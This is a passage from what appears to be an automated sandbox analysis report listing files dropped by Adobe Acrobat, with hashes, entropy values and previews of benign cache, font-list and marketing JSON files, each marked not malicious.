Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7249135031204936
Encrypted:	false
SSDEEP:	3:kkFklJmbbN/ltfllXlE/HT8k/l1NNX8RolJuRdxLlGB9lQRYwpDdt:kKN/leT82VNMa8RdWBwRd
MD5:	05F3B615B2F62BA99CFA5DFB038DD4E0
SHA1:	40E3A471BC5FF616A48EE745BFAB747E2539818D
SHA-256:	35E58559BF441D947E2DD5F2BEC795AB9C3D0A10890B71ADDB49BBCF202CF178
SHA-512:	9DB3BD411BA116A95ABE7D296374749805B4ED351B528E134F1E8E2288FAD3AF07EC2F36A18AE34BD031E7F24CDC5C75908A96C89C67B5FFED9B96D6684DD72D
Malicious:	false
Preview:	p...... ........:....d..(....................................................... ..........W.....L..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.204345042322404
Encrypted:	false
SSDEEP:	6:kK9+klL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:1+dDImsLNkPlE99SNxAhUe/3
MD5:	1B1EB9D34B24688A8064839C2543CEE7
SHA1:	677FED5B14F989A6DF8E4DC97F768670CCF88685
SHA-256:	73EB00E2CEC5573F17859BF9F25FED69F2022AD6FB30D8BFB2F9D22A32846FE5
SHA-512:	47C5902F1C02E7B9B8C54D449ACEAB518AD04C3751F0ACF77200AE1AA90CD4BA9BBE72669F171A5C56E192FD949C044411E380212A773C1707B75D14C3B8A078
Malicious:	false
Preview:	p...... ........A."..d..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2740

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2740

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329292148422208
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJM3g98kUwPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GMbLUkee9
MD5:	507A5AD61ED0276887FAE995ABC7DBD4
SHA1:	916FD565CAC5764E544512115E792105727F4DFB
SHA-256:	9055800FA4074F9BC42474350518C3BFB62923721AB3B1EB6A412BAE7D72B667
SHA-512:	ACCCE61C8373D0112582FE7E1297BC69FB644D331806157DCC2952B863E108683AF007F3E0B1DAB65C8985CEE4DC0728CEDD76FD25198B5573E106ABF18D2546
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262577495631248
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfBoTfXpnrPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GWTfXcUkee9
MD5:	CA9D05294FCF40412CAB9D10083D36E3
SHA1:	5E3CB758EB822490035835F9116AD6AFAD569694
SHA-256:	08A18F9914659DDDAF6DD33D6FE2BAB83C24E4CC14EA6D718D095BA535BBEF94
SHA-512:	ABD586FE6F2F987445003516BE97D4CCD06D1A29B51C1446F47C83D59F621FBFCE72B0843CA6D45539A1B51B025587B49CAB491F0125B6488244E3C447822853
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241125812157253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfBD2G6UpnrPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GR22cUkee9
MD5:	7B8C0AB04C3C57E42C0A618A13ADEE06
SHA1:	197D16FD730BC15C806BB623FF5A20C8CCD26BAE
SHA-256:	B5A17F50BA4149D92F5B6CA3645754C3A924BA2E44FA4FD3C9E9F9B4F17A64FF
SHA-512:	E5F5C3475A95E5D6E6526B8150CB3D56A9FF68798B6D26EFBE92BDDA910D4F65AC1560E7D9AC019DA4B84C46E2E1DD606D7DA49DAF82F1BC692586E0BC53E211
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3050452129361005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfPmwrPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GH56Ukee9
MD5:	0438081473B693F6529B9A3F824D85B4
SHA1:	B4D14BCFFFD4C7176E7663B7E4F4F8FE7FB81E4F
SHA-256:	50DB99F73F6DA98CBA5E3BC59317FE5172F3A1438A965B5B65D42B1C639EE82B
SHA-512:	7595949C584FBED69FCB7F01503709F4D399F973A0646D090CBDE79F01083C9167AF3D2072EB8FFBADC1789CD0082AEF172B50A0FD94A1CE9D9F94CE7DD1C024
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692337009154362
Encrypted:	false
SSDEEP:	24:Yv6XgX84JhrpLgE9cQx8LennAvzBvkn0RCmK8czOCCSM:YvdX9Jhrhgy6SAFv5Ah8cv/M
MD5:	03AFFD38D3E610D8B672EAB3AC8F5EF7
SHA1:	5E71D88943CA94CD1481441B9EE7A8173FC7BDB2
SHA-256:	26ABE482AE3573CB19FCC4E722122849DB96A4886D59FAFC4F68DAAA8725AF26
SHA-512:	6B5854A7A8C7BE99E6FD6981B826FDD2D86BD01F9D83017B31420F1A82F464AEE31D34FFABF501F314EC92E4C09D0D230BD5117A016FF89501D2042EC6A57BE9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.254651064662538
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJf8dPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GU8Ukee9
MD5:	9A33A4C7C26DB3A3660B6FF31EB6F162
SHA1:	268460C17E1597E3739D9A0C69ACC979C544DB27
SHA-256:	A137EAB05B26B9999B90571242D93A7ACAF9D7DFCFD69BC8D2C4D170A20791C1
SHA-512:	9C4625DC7A2221A3D5A343C2614DA1C1374A1E2114792BB7EAC9DAF6EFEEF60D404A69032DE6B4FE4E2474B18985C0BC27C0D430EEAFC7558C26DA0F4C39C894
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.254070572751896
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfQ1rPeUkwRe9:YvXKXgX8HYpvR/ZwHA6GY16Ukee9
MD5:	3576A5850D648A66134DA11CA4C1890C
SHA1:	8E9DFE1181F3AC101019B5925FFDB66A149F4F7D
SHA-256:	E96F63DE4ED77915EB85474E5593143D168B4391E737EB568C3F73123726A32C
SHA-512:	588C68A1FA00CBBA2E1B9C7EDA9D7AF7EBF30D2ED9EB160C86AAC02A2DEEADAE5AEC0B4BAEC4869B5B0E33066A8E1EE86B943F1317A6CB7FA526C718722EA3F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2713851532728935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfFldPeUkwRe9:YvXKXgX8HYpvR/ZwHA6Gz8Ukee9
MD5:	0BBF53F78EF47CEBF1A153E3157AEED7
SHA1:	570DE63ED7299D9A49686A78AE07B62EE6AB07BB
SHA-256:	46CEA12F5D04BAFFB38737B86A7C3D7413CFE80751D94490D485EEDEE037F3AE
SHA-512:	F5F6E8C2EEDF27FA6CFF986D79DC19BD8A096623B73FA3D9362523BF17DE7A6D784532FC4AFA3BF365CAF8224186F9F08467CE416CC6FB64DFCF2D2EAFFE6A8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.283063721653927
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfzdPeUkwRe9:YvXKXgX8HYpvR/ZwHA6Gb8Ukee9
MD5:	A37A262A0B1DA04AD3053BA9526E603B
SHA1:	6E2C1AB1AE044678D3EEBF5936039AF8B9A059FB
SHA-256:	EAD4997C396FECD7F7371A00FB569829BA937E7057E1683787357898282BD8D3
SHA-512:	DBF6BFBF77B334B9BE2146BF20D3A19A23D11CECFBEBF71C9D8B469A67BE9816C11F915961CE49CFB0D99AE588AE810F0966B375CDC261B0003E926C4E13BEB7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263494170386179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJfYdPeUkwRe9:YvXKXgX8HYpvR/ZwHA6Gg8Ukee9
MD5:	21608EB2BCB2432E6DDF52BC41FCC760
SHA1:	7DC378305167DC5E894BBF5CCE33D7C077915D67
SHA-256:	B74D4E611CFA450224AF70EFDCE36FCB8977B9BD125AF35D26546346C32F563A
SHA-512:	1A018F2A3C5A2975694FC87CDF3AD56F43CCDD6457DB0C3AC0173CE76D3EB38049E1A2AAF99BD9148B2B4BAE294478BF891AB1F299C83CF0CD095A7D0395BA6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2492008258688445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgXZhOjHYpvB3/dVlPIHAR0Y3xoAvJf+dPeUkwRe9:YvXKXgX8HYpvR/ZwHA6G28Ukee9
MD5:	E875B0F2F2E9A7F8DC117E8F62F355AF
SHA1:	41D143D64E436A76CD36B2BC3EFC7D24A3125DE5
SHA-256:	0EF7F607EADC9E93849E1C4AE9410D67516802307FBB2AA00111FD89CE6D2105
SHA-512:	04F6200B9FD7CEDE0C96C28FDCAD25BFA6E15B774D6950ED4CDF760E3CDE0A2C4B61F08BAC93A4A1C4D52DA38DCF448F5BA51ED1875EE44239B60FC9F36FDC93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cf108f15-50f6-45a7-81c4-5b24a7e5ae6a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759071446,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

